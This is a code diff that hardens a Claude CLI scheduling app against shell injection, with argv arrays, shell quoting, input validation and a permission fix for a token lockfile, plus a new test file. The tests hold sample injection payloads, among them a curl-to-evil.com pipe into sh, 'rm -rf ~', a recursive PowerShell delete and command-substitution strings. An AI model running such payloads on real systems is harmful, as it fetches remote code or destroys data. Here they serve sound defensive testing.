diff --git a/claude-auth.js b/claude-auth.js index 9ac2a9fe..24c10e6d 100644 --- a/claude-auth.js +++ b/claude-auth.js @@ -2,7 +2,7 @@ // macOS: Keychain (primary) → ~/.claude/.credentials.json (fallback) // Linux/Windows: ~/.claude/.credentials.json only -const { execSync } = require('child_process'); +const { execFileSync } = require('child_process'); const fs = require('fs'); const path = require('path'); const os = require('os'); @@ -26,8 +26,12 @@ function readFromKeychain() { try { const service = getKeychainServiceName(); const user = process.env.USER || os.userInfo().username; - const json = execSync( - `security find-generic-password -a "${user}" -w -s "${service}"`, + // execFileSync (no shell) so the username and service name are never + // interpolated into a shell string — prevents injection via $USER or + // a crafted CLAUDE_CONFIG_DIR that produces a malicious service name. + const json = execFileSync( + 'security', + ['find-generic-password', '-a', user, '-w', '-s', service], { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] } ).trim(); return JSON.parse(json); diff --git a/main.js b/main.js index 0467b9d3..112e46ae 100644 --- a/main.js +++ b/main.js @@ -36,7 +36,7 @@ const cleanPtyEnv = Object.fromEntries( ); // Shell profiles → shell-profiles.js -const { discoverShellProfiles, getShellProfiles, resolveShell, isWindows, isWslShell, windowsToWslPath, shellArgs } = require('./shell-profiles'); +const { discoverShellProfiles, getShellProfiles, resolveShell, isWindows, isWslShell, windowsToWslPath, shellArgs, quoteArgvForShell } = require('./shell-profiles'); const { startScheduler } = require('./schedule-runner'); const { encodeProjectPath } = require('./encode-project-path'); @@ -1890,13 +1890,16 @@ if (!gotSingleInstanceLock) { startProjectsWatcher(); scheduleIpc.ensureScheduleCreatorCommand(); - // Shared runCommand for both cron scheduler and manual "run now" + // Shared runCommand for cron scheduler and "run now" — takes argv, not a shell string const { spawn: cpSpawn } = require('child_process'); - function runScheduleCommand(cmd, cwd, name, onDone) { + function runScheduleCommand(claudeArgv, cwd, name, onDone) { const globalSettings = getSetting('global') || {}; const profileId = globalSettings.shellProfile || SETTING_DEFAULTS.shellProfile; const profile = resolveShell(profileId); const shell = profile.path; + // Re-serialise the safe argv into a shell string so the user's login shell + // can initialise its profile (PATH, version managers, etc.) before running claude. + const cmd = 'claude ' + quoteArgvForShell(shell, claudeArgv); const args = shellArgs(shell, cmd, profile.args || []); log.info(`[schedule] Running: ${shell} ${args.join(' ')}`); diff --git a/mcp-bridge.js b/mcp-bridge.js index b531e018..fbf5325f 100644 --- a/mcp-bridge.js +++ b/mcp-bridge.js @@ -333,7 +333,13 @@ async function startMcpServer(sessionId, workspaceFolders, mainWindow, log) { runningInWindows: false, authToken, }); - fs.writeFileSync(lockFilePath, lockData, 'utf8'); + // mode: 0o600 — lockfile contains the MCP auth token; must not be world-readable. + // If the file already exists with wider permissions (from a previous run before this + // fix), chmodSync tightens it before the new content is written. + if (fs.existsSync(lockFilePath)) { + try { fs.chmodSync(lockFilePath, 0o600); } catch {} + } + fs.writeFileSync(lockFilePath, lockData, { encoding: 'utf8', mode: 0o600 }); const entry = { sessionId, diff --git a/schedule-ipc.js b/schedule-ipc.js index cd3d8585..66a4232d 100644 --- a/schedule-ipc.js +++ b/schedule-ipc.js @@ -204,9 +204,9 @@ function init(log, runCommand) { }; const { sessionId } = createScheduleSession(schedule); - const cmd = buildScheduleCommand(sessionId, schedule); + const { claudeArgs } = buildScheduleCommand(sessionId, schedule); - runCommand(cmd, projectPath, `Manual run ${schedule.name}`, () => {}); + runCommand(claudeArgs, projectPath, `Manual run ${schedule.name}`, () => {}); log.info(`[schedule] Manual run triggered: ${schedule.name} (session ${sessionId})`); return { ok: true, sessionId }; diff --git a/schedule-runner.js b/schedule-runner.js index 873e31c1..30f6299d 100644 --- a/schedule-runner.js +++ b/schedule-runner.js @@ -179,24 +179,64 @@ function createScheduleSession(schedule) { return { sessionId, jsonlPath }; } -/** Build a claude CLI command string for a scheduled task. */ +// Defense-in-depth: reject control characters in frontmatter scalar values. +// The real injection defense is the argv array (no shell interpretation), but +// control chars have no legitimate use in CLI flag values and indicate tampering. +function isSafeScalar(s) { + if (s == null) return true; + // Allow printable ASCII + extended unicode; reject C0 control chars (except \t) + return !/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/.test(String(s)); +} + +function assertSafe(field, value) { + if (!isSafeScalar(value)) { + throw new Error(`Schedule field "${field}" contains unsafe characters`); + } + return value; +} + +/** + * Build the argv for a scheduled claude invocation. + * Returns `{ claudeArgs: string[] }` — a plain argv array with zero shell + * interpretation. Callers that need a shell command string must shell-quote + * via quoteArgvForShell() from shell-profiles.js. + */ function buildScheduleCommand(sessionId, schedule) { - let cmd = `claude --resume "${sessionId}" -p "Run the scheduled task"`; - - const cli = schedule.cli; - cmd += ` --permission-mode "${cli['permission-mode'] || 'acceptEdits'}"`; - if (cli.model) cmd += ` --model "${cli.model}"`; - if (cli['max-budget-usd']) cmd += ` --max-budget-usd ${cli['max-budget-usd']}`; - const allowedTools = cli['allowed-tools'] || 'Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch'; - cmd += ` --allowedTools "${allowedTools}"`; - if (cli['append-system-prompt']) cmd += ` --append-system-prompt "${cli['append-system-prompt'].replace(/"/g, '\\"')}"`; + const cli = schedule.cli || {}; + const args = [ + '--resume', assertSafe('sessionId', sessionId), + '-p', 'Run the scheduled task', + '--permission-mode', assertSafe('permission-mode', cli['permission-mode'] || 'acceptEdits'), + ]; + + if (cli.model) args.push('--model', assertSafe('model', cli.model)); + + if (cli['max-budget-usd']) { + const budget = String(cli['max-budget-usd']).trim(); + if (!/^\d+(\.\d+)?$/.test(budget)) { + throw new Error(`Schedule field "max-budget-usd" must be a number, got: ${cli['max-budget-usd']}`); + } + args.push('--max-budget-usd', budget); + } + + args.push('--allowedTools', assertSafe('allowed-tools', cli['allowed-tools'] || 'Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch')); + + if (cli['append-system-prompt']) { + // Newlines (\n, \r) and tabs are valid in prompt text; reject other control chars + const prompt = String(cli['append-system-prompt']); + if (/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/.test(prompt)) { + throw new Error('Schedule field "append-system-prompt" contains unsafe characters'); + } + args.push('--append-system-prompt', prompt); + } + if (cli['add-dirs']) { - for (const dir of cli['add-dirs'].split(',').map(d => d.trim()).filter(Boolean)) { - cmd += ` --add-dir "${dir}"`; + for (const dir of String(cli['add-dirs']).split(',').map(d => d.trim()).filter(Boolean)) { + args.push('--add-dir', assertSafe('add-dirs', dir)); } } - return cmd; + return { claudeArgs: args }; } /** @@ -225,10 +265,10 @@ function startScheduler(log, runCommand) { log.info(`[schedule] Triggering: ${schedule.name} (${schedule.cron})`); try { const { sessionId } = createScheduleSession(schedule); - const cmd = buildScheduleCommand(sessionId, schedule); + const { claudeArgs } = buildScheduleCommand(sessionId, schedule); runningTasks.add(taskKey); - runCommand(cmd, schedule.projectPath, schedule.name, () => { + runCommand(claudeArgs, schedule.projectPath, schedule.name, () => { runningTasks.delete(taskKey); }); } catch (err) { diff --git a/shell-profiles.js b/shell-profiles.js index b39a7102..8b0d1311 100644 --- a/shell-profiles.js +++ b/shell-profiles.js @@ -160,6 +160,37 @@ function isWslShell(shellPath) { return base === 'wsl.exe' || base === 'wsl'; } +// Shell-quote one argv token per shell family. +// This is the "safe re-serialisation" layer: buildScheduleCommand returns a +// plain argv array (no quoting needed for execFile/spawn with shell:false), but +// runScheduleCommand must pass a command *string* to the user's login shell so +// that shell profile initialisation (PATH, pyenv, nvm, …) runs first. +// Each token is wrapped so the outer shell passes it verbatim to claude. +function quoteArgForShell(shellPath, value) { + const s = value == null ? '' : String(value); + const base = path.basename(shellPath).toLowerCase(); + const isBashLike = base.includes('bash') || base.includes('zsh') || + base === 'sh' || base === 'dash' || base === 'ksh' || + base === 'fish' || base === 'nu' || isWslShell(shellPath); + const isPowerShell = base.includes('powershell') || base.includes('pwsh'); + + if (isBashLike) { + // POSIX single-quote: wrap in '...', escape embedded ' as '\'' + return "'" + s.replace(/'/g, "'\\''") + "'"; + } + if (isPowerShell) { + // PowerShell single-quoted string: escape ' as '' + return "'" + s.replace(/'/g, "''") + "'"; + } + // cmd.exe: double-quote, escape " as \" and ^-escape shell metachars + const escaped = s.replace(/"/g, '\\"').replace(/([&|<>^%])/g, '^$1'); + return '"' + escaped + '"'; +} + +function quoteArgvForShell(shellPath, argv) { + return argv.map(a => quoteArgForShell(shellPath, a)).join(' '); +} + // Returns spawn args appropriate for the resolved shell function shellArgs(shellPath, cmd, extraArgs) { const base = path.basename(shellPath).toLowerCase(); @@ -188,4 +219,4 @@ function shellArgs(shellPath, cmd, extraArgs) { return []; } -module.exports = { discoverShellProfiles, getShellProfiles, resolveShell, isWindows, isWslShell, windowsToWslPath, shellArgs }; +module.exports = { discoverShellProfiles, getShellProfiles, resolveShell, isWindows, isWslShell, windowsToWslPath, shellArgs, quoteArgForShell, quoteArgvForShell }; diff --git a/test/schedule-injection.test.js b/test/schedule-injection.test.js new file mode 100644 index 00000000..b00071d8 --- /dev/null +++ b/test/schedule-injection.test.js @@ -0,0 +1,181 @@ +// test/schedule-injection.test.js — shell-injection hardening tests +// +// Verifies that buildScheduleCommand returns a safe argv array and that +// quoteArgvForShell produces a shell string where malicious frontmatter +// values cannot execute as shell code. +// +// Ported from doctly/switchboard#32 (author: @joeytwiddle). Adapted for the +// fork's test style (node:test + assert/strict, no external test runner). +'use strict'; + +const test = require('node:test'); +const assert = require('node:assert/strict'); + +const { buildScheduleCommand } = require('../schedule-runner'); +const { quoteArgForShell, quoteArgvForShell } = require('../shell-profiles'); + +// ── buildScheduleCommand ───────────────────────────────────────────────────── + +test('buildScheduleCommand returns an argv array, not a shell string', () => { + const { claudeArgs } = buildScheduleCommand('session-123', { + cli: { model: 'sonnet-4-6', 'allowed-tools': 'Read,Bash' }, + prompt: 'do a thing', + }); + assert.ok(Array.isArray(claudeArgs), 'claudeArgs must be an array'); + assert.ok(claudeArgs.includes('--resume')); + assert.ok(claudeArgs.includes('session-123')); + assert.ok(claudeArgs.includes('--model')); + assert.ok(claudeArgs.includes('sonnet-4-6')); + assert.ok(claudeArgs.includes('--allowedTools')); + assert.ok(claudeArgs.includes('Read,Bash')); +}); + +test('buildScheduleCommand preserves injection payload as a literal argv token', () => { + // The hostile value must survive as a single element — no shell sees it. + const evil = 'x"; curl evil.com/sh | sh; echo "'; + const { claudeArgs } = buildScheduleCommand('sess', { cli: { model: evil } }); + const idx = claudeArgs.indexOf('--model'); + assert.ok(idx >= 0, '--model flag must be present'); + assert.equal(claudeArgs[idx + 1], evil, 'evil string must survive verbatim as one argv token'); +}); + +test('buildScheduleCommand: backtick/dollar payloads survive as literal tokens', () => { + const { claudeArgs: args1 } = buildScheduleCommand('sess', { cli: { model: '`whoami`' } }); + assert.equal(args1[args1.indexOf('--model') + 1], '`whoami`'); + + const { claudeArgs: args2 } = buildScheduleCommand('sess', { cli: { model: '$(id)' } }); + assert.equal(args2[args2.indexOf('--model') + 1], '$(id)'); +}); + +test('buildScheduleCommand rejects max-budget-usd that is not numeric', () => { + assert.throws( + () => buildScheduleCommand('sess', { cli: { 'max-budget-usd': '1; rm -rf ~' } }), + /max-budget-usd/, + ); + assert.throws( + () => buildScheduleCommand('sess', { cli: { 'max-budget-usd': '$(evil)' } }), + /max-budget-usd/, + ); +}); + +test('buildScheduleCommand accepts valid numeric max-budget-usd', () => { + const { claudeArgs } = buildScheduleCommand('sess', { cli: { 'max-budget-usd': '2.5' } }); + assert.ok(claudeArgs.includes('--max-budget-usd')); + assert.ok(claudeArgs.includes('2.5')); +}); + +test('buildScheduleCommand rejects control characters in scalar fields', () => { + assert.throws( + () => buildScheduleCommand('sess', { cli: { model: 'foo\x00bar' } }), + /unsafe characters/, + ); + assert.throws( + () => buildScheduleCommand('sess', { cli: { 'permission-mode': 'ok\x01bad' } }), + /unsafe characters/, + ); +}); + +test('buildScheduleCommand allows newlines in append-system-prompt', () => { + const multiline = 'line 1\nline 2\nline 3'; + const { claudeArgs } = buildScheduleCommand('sess', { + cli: { 'append-system-prompt': multiline }, + }); + const idx = claudeArgs.indexOf('--append-system-prompt'); + assert.ok(idx >= 0, '--append-system-prompt flag must be present'); + assert.equal(claudeArgs[idx + 1], multiline); +}); + +test('buildScheduleCommand rejects control chars in append-system-prompt', () => { + assert.throws( + () => buildScheduleCommand('sess', { cli: { 'append-system-prompt': 'bad\x01stuff' } }), + /unsafe characters/, + ); +}); + +test('buildScheduleCommand handles add-dirs safely', () => { + const { claudeArgs } = buildScheduleCommand('sess', { + cli: { 'add-dirs': '/tmp, /home/user' }, + }); + const dirArgs = []; + for (let i = 0; i < claudeArgs.length - 1; i++) { + if (claudeArgs[i] === '--add-dir') dirArgs.push(claudeArgs[i + 1]); + } + assert.deepEqual(dirArgs, ['/tmp', '/home/user']); +}); + +// ── quoteArgForShell / quoteArgvForShell ───────────────────────────────────── + +test('quoteArgForShell: bash — wraps in single quotes, neutralises injection', () => { + const evil = 'x"; curl evil.com | sh; echo "'; + const quoted = quoteArgForShell('/bin/bash', evil); + assert.ok(quoted.startsWith("'"), 'must start with single quote'); + assert.ok(quoted.endsWith("'"), 'must end with single quote'); + // The shell sees a single token; metachars inside single-quotes are inert. + assert.equal(quoted, `'${evil}'`); +}); + +test('quoteArgForShell: bash — escapes embedded single quotes as \'\\\'\'', () => { + assert.equal(quoteArgForShell('/bin/bash', "it's a test"), "'it'\\''s a test'"); +}); + +test('quoteArgForShell: bash — backticks and $() are inert inside single quotes', () => { + assert.equal(quoteArgForShell('/bin/bash', '`whoami`'), "'`whoami`'"); + assert.equal(quoteArgForShell('/bin/bash', '$(id)'), "'$(id)'"); +}); + +test('quoteArgForShell: zsh behaves like bash (POSIX single-quote)', () => { + assert.equal(quoteArgForShell('/bin/zsh', 'foo;bar'), "'foo;bar'"); +}); + +test('quoteArgForShell: PowerShell — escapes internal single quotes as \'\'', () => { + const evil = "'; Remove-Item -Recurse /"; + const quoted = quoteArgForShell('/usr/bin/pwsh', evil); + // ' → '' inside single-quoted PS string + assert.equal(quoted, "'''; Remove-Item -Recurse /'"); +}); + +test('quoteArgvForShell: joins tokens with spaces, each safely quoted', () => { + const joined = quoteArgvForShell('/bin/bash', ['--model', 'x"; evil', '--flag']); + assert.equal(joined, "'--model' 'x\"; evil' '--flag'"); +}); + +// ── Integration: full malicious schedule ──────────────────────────────────── + +test('full simulated schedule: malicious frontmatter cannot escape shell quoting', () => { + const evilSchedule = { + cli: { + 'permission-mode': 'acceptEdits', + model: 'x"; curl evil.com | sh; echo "', + 'allowed-tools': 'Bash,Read', + 'append-system-prompt': '$(whoami)', + 'add-dirs': '/tmp,/etc; touch /tmp/pwned', + }, + prompt: 'scheduled task', + }; + + const { claudeArgs } = buildScheduleCommand('sess-id', evilSchedule); + const cmd = 'claude ' + quoteArgvForShell('/bin/bash', claudeArgs); + + // Walk the command and extract text that is NOT inside single-quoted tokens. + // If any shell metacharacter appears in that "outside" region, an injection leaked. + let outside = ''; + let inQuote = false; + for (let i = 0; i < cmd.length; i++) { + const c = cmd[i]; + if (c === "'") { inQuote = !inQuote; continue; } + if (!inQuote) outside += c; + } + + // Outside single-quoted tokens we expect only: the word "claude", spaces, and + // the backslash from POSIX '\'' escapes (which re-enter a quote immediately). + assert.ok(!/curl/.test(outside), `"curl" leaked outside quotes: ${outside}`); + assert.ok(!/whoami/.test(outside), `"whoami" leaked outside quotes: ${outside}`); + assert.ok(!/touch/.test(outside), `"touch" leaked outside quotes: ${outside}`); + assert.ok(!/[;|&`$]/.test(outside), `shell metachar leaked outside quotes: ${outside}`); + + // The evil model arg is preserved verbatim as a single-quoted token inside the command. + assert.ok( + cmd.includes(`'x"; curl evil.com | sh; echo "'`), + `expected quoted model arg in: ${cmd}`, + ); +});